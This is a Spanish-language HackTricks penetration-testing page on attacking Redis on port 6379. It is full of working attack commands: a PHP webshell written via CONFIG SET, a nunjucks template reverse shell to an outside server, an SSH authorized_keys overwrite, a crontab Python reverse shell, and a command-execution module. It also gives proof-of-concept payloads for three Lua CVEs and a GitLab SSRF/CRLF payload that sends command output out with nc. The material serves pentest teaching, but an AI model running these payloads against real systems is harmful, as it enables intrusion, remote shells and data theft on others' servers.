6379 - Pentesting Redis
Reading time: 16 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Según the docs: Redis es open source (licenciado bajo BSD), en memoria data structure store, usado como database, cache y message broker).
Por defecto Redis usa un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar ssl/tls. Aprende cómo run Redis with ssl/tls here.
Puerto por defecto: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Enumeración automática
Algunas herramientas automatizadas que pueden ayudar a obtener información de una instancia de redis:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Enumeración Manual
Banner
Redis es un protocolo basado en texto, puedes simplemente enviar el comando en un socket y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse usando ssl/tls (pero esto es muy raro).
En una instancia regular de Redis puedes conectar simplemente usando nc o también puedes usar redis-cli:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
El primer comando que podrías probar es info. Puede devolver salida con información de la instancia Redis o algo como lo siguiente:
-NOAUTH Authentication required.
En este último caso, esto significa que necesitas credenciales válidas para acceder a la instancia de Redis.
Redis Authentication
Por defecto Redis puede ser accedido sin credenciales. Sin embargo, puede ser configurado para soportar solo password, o username + password.
Es posible establecer una password en el archivo redis.conf con el parámetro requirepass o temporalmente hasta que el servicio se reinicie conectándose a él y ejecutando: config set requirepass p@ss$12E45.
Además, un username puede ser configurado en el parámetro masteruser dentro del archivo redis.conf.
tip
Si solo se configura password, el username usado es "default".
También, ten en cuenta que no hay forma de saber externamente si Redis fue configurado solo con password o con username+password.
En casos como este necesitarás encontrar credenciales válidas para interactuar con Redis, por lo que podrías intentar un brute-force.
En caso de que encuentres credenciales válidas necesitas autenticar la sesión después de establecer la conexión con el comando:
AUTH <username> <password>
Credenciales válidas obtendrán: +OK
Enumeración autenticada
Si el servidor Redis permite conexiones anónimas o si has obtenido credenciales válidas, puedes iniciar el proceso de enumeración del servicio usando los siguientes comandos:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Otros Redis commands can be found here y here.
Ten en cuenta que los Redis commands de una instancia pueden ser renombrados o eliminados en el archivo redis.conf. Por ejemplo, esta línea eliminará el comando FLUSHDB:
rename-command FLUSHDB ""
Más sobre cómo configurar de forma segura un servicio Redis aquí: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
También puedes monitorear en tiempo real los comandos de Redis ejecutados con el comando monitor o obtener las 25 consultas más lentas con slowlog get 25
Encuentra más información interesante sobre más comandos de Redis aquí: https://lzone.de/cheat-sheet/Redis
Volcado de la base de datos
Dentro de Redis, las bases de datos son números que comienzan en 0. Puedes ver si alguna está en uso en la salida del comando info dentro del bloque "Keyspace":
.png)
O puedes simplemente obtener todos los keyspaces (bases de datos) con:
INFO keyspace
En ese ejemplo se están usando las database 0 and 1. Database 0 contains 4 keys and database 1 contains 1. Por defecto Redis usará la database 0. Para volcar, por ejemplo, la database 1 necesitas hacer:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
En caso de que obtengas el siguiente error -WRONGTYPE Operation against a key holding the wrong kind of value al ejecutar GET <KEY> es porque la clave puede ser algo distinto a una string o un integer y requiere un operador especial para mostrarla.
Para conocer el tipo de la clave, usa el comando TYPE, ejemplo abajo para claves de tipo list y hash.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Volcar la base de datos con npm redis-dump o python redis-utils
Redis RCE
Interactive Shell
redis-rogue-server puede obtener automáticamente un interactive shell o un reverse shell en Redis(<=5.0.5).
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Información de here. Debes conocer la ruta de la carpeta del sitio web:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Si el acceso por webshell falla, puedes vaciar la base de datos después de hacer una copia de seguridad y volver a intentarlo; recuerda restaurar la base de datos.
Webshell de plantilla
Como en la sección anterior, también podrías sobrescribir algún archivo de plantilla html que será interpretado por un motor de plantillas y obtener una shell.
Por ejemplo, siguiendo this writeup, puedes ver que el atacante inyectó un rev shell en un html interpretado por el nunjucks template engine:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
warning
Ten en cuenta que varios motores de plantillas almacenan en caché las plantillas en memoria, por lo que incluso si las sobrescribes, la nueva no se ejecutará. En esos casos, o bien el desarrollador dejó la recarga automática activada o necesitas hacer un DoS contra el servicio (y esperar que se relance automáticamente).
SSH
Ejemplo from here
Por favor ten en cuenta que el resultado de config get dir puede cambiar después de ejecutar otros comandos de explotación manuales. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de config get dir podrías encontrar el home del redis user (usualmente /var/lib/redis o /home/redis/.ssh), y conociéndolo sabrás dónde puedes escribir el archivo authenticated_users para acceder vía ssh con el usuario redis. Si conoces el home de otro usuario válido donde tienes permisos de escritura, también puedes abusar de ello:
- Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsa - Write the public key to a file :
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - Import the file into redis :
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - Save the public key to the authorized_keys file on redis server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit
Additionally, system users can also be discovered by checking with config set dir /home/USER, and upon confirmation, a new authorized_keys can be written to /home/USER/.ssh/authorized_keys. Use redis-rce-ssh to bruteforce this with a usernames wordlist and overwrite authorized_keys.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
El último ejemplo es para Ubuntu, para Centos, el comando anterior debe ser: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
This method can also be used to earn bitcoin :yam
Cargar módulo de Redis
- Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
- Then you need some way to upload the compiled module
- Load the uploaded module at runtime with
MODULE LOAD /path/to/mymodule.so - List loaded modules to check it was correctly loaded:
MODULE LIST - Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Descarga el módulo cuando quieras:
MODULE UNLOAD mymodule
Bypass del sandbox de Lua
Here puedes ver que Redis usa el comando EVAL para ejecutar Lua code sandboxed. En el post enlazado puedes ver how to abuse it usando la función dofile, pero apparently esto ya no es posible. En cualquier caso, si puedes evadir el sandbox de Lua podrías execute arbitrary comandos en el sistema. Además, desde el mismo post puedes ver algunas options to cause DoS.
Algunos CVEs para escapar de LUA:
Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
Lanzamientos recientes de Redis arreglaron múltiples problemas en el motor Lua embebido que permiten escape del sandbox, corrupción de memoria y ejecución de código entre usuarios. Estas técnicas aplican cuando:
- El atacante puede autenticarse en Redis y Lua está habilitado (EVAL/EVALSHA o FUNCTION son utilizables)
- La versión de Redis es anterior a 8.2.2, 8.0.4, 7.4.6, 7.2.11 o 6.2.20
Consejo: Si eres nuevo en trucos de sandboxing de Lua, consulta esta página para técnicas generales:
Contexto a nivel de parche:
- Corregido en: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- Afectado cuando el scripting Lua está habilitado y no se aplican las versiones anteriores
CVE-2025-49844 — GC-timed Use-After-Free en el parser de Lua (lparser.c: luaY_parser)
- Idea: Forzar el garbage collection mientras el parser todavía referencia un TString recién insertado. Cuando el GC lo libera, el parser usa un puntero liberado (UAF) → crash/DoS y posible ejecución de código nativo fuera del sandbox de Lua.
- Estrategia de activación:
- Crear presión de memoria con strings enormes para incentivar la actividad del GC
- Ejecutar explícitamente el GC mientras un gran fragmento de fuente está siendo compilado
- Compilar un script Lua muy grande en un bucle hasta que el GC se alinee con el parsing
Ejemplo mínimo de EVAL para reproducir crashes
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
Notas:
- Pueden requerirse múltiples intentos para alinear GC con luaY_parser. Un crash indica que se alcanzó el UAF.
- Pasar de la explotación a RCE requiere memory grooming y native code pivoting más allá del Redis Lua sandbox.
CVE-2025-46817 — Integer overflow in unpack (lbaselib.c: luaB_unpack)
- Causa raíz: El contador
n = e - i + 1se calcula sin casts sin signo, por lo que índices extremos hacen wrap, provocando que Lua intente unpack muchos más elementos de los que existen → stack corruption y memory exhaustion. - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- Espera que el servidor intente devolver un número enorme de valores y eventualmente se bloquee o quede sin memoria (OOM).
CVE-2025-46818 — Escalada de privilegios entre usuarios vía metatables de tipos básicos
- Causa raíz: Durante la inicialización del engine, las metatables para tipos básicos (p. ej., cadenas, booleanos) no se marcaron como de solo lectura. Cualquier usuario autenticado puede envenenarlas para inyectar métodos que otros usuarios podrían invocar más tarde.
- Ejemplo (envenenamiento de la metatable de strings):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
- Impacto: Ejecución de código entre usuarios dentro del sandbox de Lua usando los permisos de Redis de la víctima. Útil para lateral movement/priv-esc dentro de contextos ACL de Redis.
Módulo Maestro-Esclavo
Las operaciones del Redis maestro se sincronizan automáticamente con el Redis esclavo, lo que significa que podemos considerar el Redis vulnerable como un Redis esclavo conectado al Redis maestro que controlamos; entonces podemos enviar comandos a nuestro propio Redis.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF comunicándose con Redis
Si puedes enviar clear text request a Redis, puedes comunicarte con él, ya que Redis leerá la request línea por línea y simplemente responderá con errores a las líneas que no entienda:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Por lo tanto, si encuentras una SSRF vuln en un sitio web y puedes controlar algunos headers (tal vez con una CRLF vuln) o POST parameters, podrás enviar comandos arbitrarios a Redis.
Ejemplo: Gitlab SSRF + CRLF a Shell
En Gitlab11.4.7 se descubrieron una vulnerabilidad SSRF y una CRLF. La vulnerabilidad SSRF estaba en la funcionalidad import project from URL al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma [0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la CRLF vuln fue explotada simplemente agregando %0D%0A caracteres a la URL.
Por lo tanto, fue posible abusar de estas vulnerabilidades para comunicarse con la instancia Redis que gestiona las colas de gitlab y abusar de esas colas para obtener ejecución de código. El payload de abuso de colas de Redis es:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
Y la solicitud URL encode abusing SSRF y CRLF para ejecutar whoami y enviar la salida vía nc es:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Por alguna razón (como le ocurrió al autor de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ de donde se tomó esta información) la explotación funcionó con el esquema git y no con el esquema http.
Referencias
- Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 — Lua parser UAF
- PoC: CVE-2025-46817 — unpack integer overflow
- PoC: CVE-2025-46818 — basic-type metatable abuse
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks